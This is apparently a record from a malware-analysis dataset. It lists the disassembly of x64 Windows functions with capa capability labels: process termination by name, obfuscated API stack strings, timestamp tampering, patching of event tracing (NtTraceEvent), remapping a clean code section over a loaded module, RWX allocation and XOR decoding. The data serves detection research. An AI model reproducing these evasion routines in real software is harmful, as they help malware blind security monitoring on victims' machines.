joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11a3470
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x11a34e7
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x11a350b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x11a34b0
or eax, 0xffffffff
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.011b1250
mov rsi, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
ret
mov qword [rsp + 0x178], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x11a3564
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x11a3520
mov rbx, qword [rsp + 0x178]
mov eax, 1
jmp 0x11a34ea

Function at 0x11a4140
Capabilities:
Enumerate processes

Disassembly:
push r12
push r13
push r14
sub rsp, 0x30
mov r13, rdx
mov r14, rcx
mov rdx, r8
mov rcx, r13
mov r12, r8
mov dword [r8], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x11a4201
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
lea r15, [0x011e0428]
nop
mov rbx, r15
mov esi, reloc.WS2_32.dll_recv
nop dword [rax + rax]
mov rdx, qword [rbx - 8]
lea rcx, [r12 + 0x2c]
call fcn.011b1f60
test eax, eax
jne 0x11a41cf
mov rdx, qword [rbx]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r14
call fcn.011a3960
add rbx, 0x10
dec rsi
jne 0x11a41a0
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x11a4190
mov r15, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
add rsp, 0x30
pop r14
pop r13
pop r12
jmp fcn.011b1270
Function at 0x11a4220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x61766441
mov dword [rbp + 3], 0x32336970
mov dword [rbp + 7], 0x6c6c642e
mov byte [rbp + 0xb], 0
mov dword [rbp + 0x2f], 0x6f6c6c41
mov dword [rbp + 0x33], 0x65746163
mov dword [rbp + 0x37], 0x49646e41
mov dword [rbp + 0x3b], 0x6974696e
mov dword [rbp + 0x3f], 0x7a696c61
mov dword [rbp + 0x43], 0x64695365
mov byte [rbp + 0x47], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x2f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0x17], 0x63656843
mov dword [rbp + 0x1b], 0x6b6f546b
mov dword [rbp + 0x1f], 0x654d6e65
mov dword [rbp + 0x23], 0x7265626d
mov rbx, rax
mov dword [rbp + 0x27], 0x70696873
mov byte [rbp + 0x2b], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0xf], 0x65657246
mov rsi, rax
mov dword [rbp + 0x13], 0x646953
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
lea rcx, [rbp - 9]
mov r12, rax
lea rax, [rbp - 0x11]
lea r8d, [rdi + 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rbp - 9], 0
mov dword [rsp + 0x20], edi
mov word [rbp - 5], 0x500
call rbx
mov dword [rbp - 0x19], eax
test eax, eax
je 0x11a4378
mov rdx, qword [rbp - 0x11]
lea r8, [rbp - 0x19]
xor ecx, ecx
call rsi
mov rcx, qword [rbp - 0x11]
call r12
mov eax, dword [rbp - 0x19]
cmp eax, 1
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x11a43b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r12, rcx
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x6e72654b
mov dword [rbp - 0x15], 0x32336c65
mov dword [rbp - 0x11], 0x6c6c642e
mov byte [rbp - 0xd], 0
mov dword [rbp + 0xf], 0x53746547
mov dword [rbp + 0x13], 0x65747379
mov dword [rbp + 0x17], 0x6d69546d
mov dword [rbp + 0x1b], 0x46734165
mov dword [rbp + 0x1f], 0x54656c69
mov dword [rbp + 0x23], 0x656d69
mov dword [rbp + 0x27], 0x656c6946
mov dword [rbp + 0x2b], 0x656d6954
mov dword [rbp + 0x2f], 0x6f4c6f54
mov dword [rbp + 0x33], 0x466c6163
mov dword [rbp + 0x37], 0x54656c69
mov dword [rbp + 0x3b], 0x656d69
mov dword [rbp - 9], 0x656c6946
mov dword [rbp - 5], 0x656d6954
mov dword [rbp - 1], 0x79536f54
mov dword [rbp + 3], 0x6d657473
mov dword [rbp + 7], 0x656d6954
mov byte [rbp + 0xb], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x27]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 9]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x29]
mov rdi, rax
call rsi
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x29]
call rbx
test eax, eax
je 0x11a44c9
lea rcx, [rbp - 0x21]
mov rdx, r12
call rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x11a4be0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Patch event tracing for windows function

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtTraceEvent
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x28]
mov rcx, rbx
mov dword [rbp - 0x28], 0x7551744e
mov dword [rbp - 0x24], 0x49797265
mov dword [rbp - 0x20], 0x726f666e
mov rdi, rax
mov dword [rbp - 0x1c], 0x6974616d
mov dword [rbp - 0x18], 0x72506e6f
mov dword [rbp - 0x14], 0x7365636f
mov word [rbp - 0x10], reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x11a4c9c
xor r8d, r8d
mov edx, r8d
mov rcx, r8
cmp byte [rcx + rax], 0xb8
je 0x11a4c90
inc rcx
cmp rcx, 0x11
jb 0x11a4c76
inc rdx
cmp rdx, 9
jb 0x11a4c73
jmp 0x11a4c95
mov r8d, dword [rcx + rax + 1]
mov dword [0x011e2724], r8d
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x011e20f0], rax
test rdi, rdi
je 0x11a4cf9
mov edx, 1
lea r9, [rbp - 0x30]
mov rcx, rdi
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, byte [rsi]
lea r9, [rbp - 0x30]
mov byte [rdi], al
mov r8d, dword [rbp - 0x30]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x11a4dc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x011d50b0]
call fcn.011b1160
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x11a4e5e
mov ecx, 0x400
call fcn.011b16e0
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x11a4e5e
lea rcx, [rdi + 1]
mov edx, 0x82
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x11a4e20
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x104
call fcn.011b1290
mov rcx, rdi
call fcn.011b16e8
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x11a4e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
xor ebx, ebx
mov rdi, rdx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x11a502b
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x11a4ef4
mov rcx, rbp
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
test rax, rax
jne 0x11a4f30
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x11a501e
mov rcx, rdi
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
test rax, rax
je 0x11a4ffe
movsxd rcx, dword [r12 + 0x3c]
mov qword [rsp + 0x48], r14
movzx edx, word [rcx + r12 + 6]
lea r14, [rcx + r12 + 0x108]
test edx, edx
jle 0x11a4ff9
mov qword [rsp + 0x70], rsi
nop
movsxd rax, ebx
lea rdi, str..text
lea rcx, [rax + rax*4]
lea rsi, [r14 + rcx*8]
mov ecx, 6
repe cmpsb byte [rsi], byte [rdi]
je 0x11a4f93
inc ebx
cmp ebx, edx
jl 0x11a4f70
jmp 0x11a4ff4
movsxd rax, ebx
lea r9, [rsp + 0x80]
mov r8d, 0x40
lea rdi, [rax + rax*4]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov r8d, dword [r14 + rdi*8 + 8]
lea rdx, [rcx + r12]
add rcx, r15
call fcn.011b1290
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
mov r8d, dword [rsp + 0x80]
lea r9, [rsp + 0x80]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x78]
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
Function at 0x11a54c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x28], 0x65726944
mov dword [rbp - 0x24], 0x6e497463
mov dword [rbp - 0x20], 0x38747570
mov dword [rbp - 0x1c], 0x61657243
mov word [rbp - 0x18], 0x6574
mov byte [rbp - 0x16], 0
mov dword [rbp - 0x38], 0x504e4944
mov dword [rbp - 0x34], 0x2e385455
mov dword [rbp - 0x30], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x11a5547
xor al, al
jmp 0x11a55fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x011d4a00]
mov r9, rdi
mov edx, 0x800
mov rcx, rax
mov qword [rsp + 0x20], 0
call rbx
test eax, eax
js 0x11a5540
mov rcx, qword [rdi]
lea r8, [rdi + 8]
lea rdx, [0x011d4a20]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x11a5540
mov rcx, qword [rdi + 8]
lea rdx, [0x011d49e0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x11a5540
mov rcx, qword [rdi + 8]
xor edx, edx
mov rax, qword [rcx]
lea r8d, [rdx + 0xa]
call qword [rax + 0x68]
test eax, eax
js 0x11a5540
mov rcx, qword [rdi + 8]
mov dword [rbp - 0x50], socket
mov qword [rbp - 0x4c], reloc.WS2_32.dll_recv
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0x3c
mov rax, qword [rcx]
lea r8, [rbp - 0x50]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x11a5540
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
setns al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x11a5a60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov qword [rcx + 8], rdx
lea rax, [0x011d4c80]
mov r12d, r9d
mov qword [rcx], rax
mov qword [rdx + 0x180], rcx
xor r9d, r9d
mov rdi, rdx
mov rbx, r8
mov rsi, rcx
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsi + 0x10], rax
lea rax, [0x011d57f8]
mov qword [rsi], rax
test rbx, rbx
je 0x11a5ae3
lea rcx, [rsi + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.011b6520
lea rcx, [rsi + 0x24]
mov r8d, 0xff
mov rdx, rbx
call fcn.011b1fc0
mov dword [rsi + 0x20], r12d
mov qword [rsi + 0x18], rdi
xor r12d, r12d
mov dword [rsi + 0x2068], r12d
mov rcx, qword [0x011e28d0]
mov r8, qword [0x011e28c8]
sub rcx, r8
movabs rax, 0xe38e38e38e38e39
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rdi, edx
test edx, edx
jle 0x11a5b59
mov ebx, r12d
nop dword [rax + rax]
lea rcx, [rbx + r8 + 0x18]
lea rdx, [rsi + 0x20]
mov r8d, 0x104
call fcn.011b1290
add rbx, 0x120
dec rdi
je 0x11a5b59
mov r8, qword [0x011e28c8]
jmp 0x11a5b30
lea rax, [0x011a6a20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x011a2be0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov r11d, ebx
mov rbx, qword [rsp + 0x60]
mov qword [rsi + rax*8 + 0x128], r11
inc dword [rsi + 0x2068]
mov rax, rsi
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop r12
ret

Function at 0x11a61bc
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x105
jne 0x11a6288
sub rsp, 0x548
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rdx, [rcx + 1]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.011b1290
lea r11, [rsp + 0x21]
mov eax, 0x82
nop word [rax + rax]
xor byte [r11 - 1], 0x46
xor byte [r11], 0x46
add r11, 2
dec rax
jne 0x11a6200
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], al
call fcn.011b6520
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.011a1140
cmp eax, 1
jle 0x11a6271
cmp byte [rsp + 0x130], 0
je 0x11a6271
lea rdx, [rsp + 0x130]
lea rcx, [0x011d50b0]
call fcn.011b1080
mov byte [0x011e2205], 1
mov byte [0x011e2204], 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.011b1250
add rsp, 0x548
repz ret
Function at 0x11a6290
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rsi, rcx
mov ecx, 0x120
mov r14, r9
mov edi, r8d
mov rbp, rdx
call fcn.011b1bb8
mov rbx, rax
test rax, rax
je 0x11a648d
xor edx, edx
mov r8d, 0x120
mov rcx, rax
call fcn.011b6520
cmp edi, 1
jne 0x11a63f8
mov rcx, qword [0x011e28d0]
mov r10, qword [0x011e28c8]
xor edi, edi
sub rcx, r10
movabs rax, 0xe38e38e38e38e39
mov r9d, edi
mov r8d, edi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rcx, edx
test edx, edx
jle 0x11a6353
movzx edx, byte [rbp]
mov rax, r10
nop
cmp dl, byte [rax]
je 0x11a6337
inc r8
inc r9d
add rax, 0x120
cmp r8, rcx
jl 0x11a6320
jmp 0x11a6353
movsxd rax, r9d
mov rcx, rbx
mov r8d, 0x120
lea rdx, [rax + rax*8]
shl rdx, 5
add rdx, r10
call fcn.011b1290
cmp byte [rbx], dil
jne 0x11a6377
mov rcx, qword [rsi + 0x18]
mov r8d, 1
mov rdx, rbp
call fcn.011a2780
mov rcx, rbx
call fcn.011b1270
jmp 0x11a648d
lea rcx, [0x011a5620]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rcx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x011a2be0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x11a648d
lea eax, [rdi - 7]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov ecx, eax
mov r13d, eax
call fcn.011b16e0
mov r12, rax
test rax, rax
je 0x11a6483
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.011b1290
movzx r11d, byte [rbp]
lea eax, [rdi - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], r12
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [rbx + 0x18]
mov rdx, r14
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov r8d, 0x104
mov word [rbx + 0xc], ax
call fcn.011b1290
mov rcx, rbx
call fcn.011a7cb0
lea rcx, [0x011a5620]
mov rdx, rbx
call fcn.011a2c40
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x11a64b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x50
mov r12d, r8d
mov rbp, rdx
mov rsi, rcx
test r9d, r9d
je 0x11a6586
mov ecx, 0x120
call fcn.011b1bb8
mov rbx, rax
test rax, rax
je 0x11a6570
xor edx, edx
mov r8d, 0x120
mov rcx, rax
mov qword [rsp + 0x70], r13
call fcn.011b6520
lea r11d, [r12 - 7]
mov ecx, r11d
mov r13d, r11d
call fcn.011b16e0
mov rdi, rax
test rax, rax
je 0x11a656b
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.011b1290
movzx r11d, byte [rbp]
lea eax, [r12 - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], rdi
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [0x011a57d0]
mov rdx, rbx
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov word [rbx + 0xc], ax
call fcn.011a2c40
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r13, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
mov rcx, r12
call fcn.011b16e0
mov r8, r12
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.011b1290
lea r11, [0x011a5750]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x011a2be0]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x11a6570

Function at 0x11a6630
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov rsi, rcx
mov qword [rsp + 0x30], 0
lea rcx, [0x011e2730]
lea r8d, [r9 + 3]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x11a66c7
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x58]
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret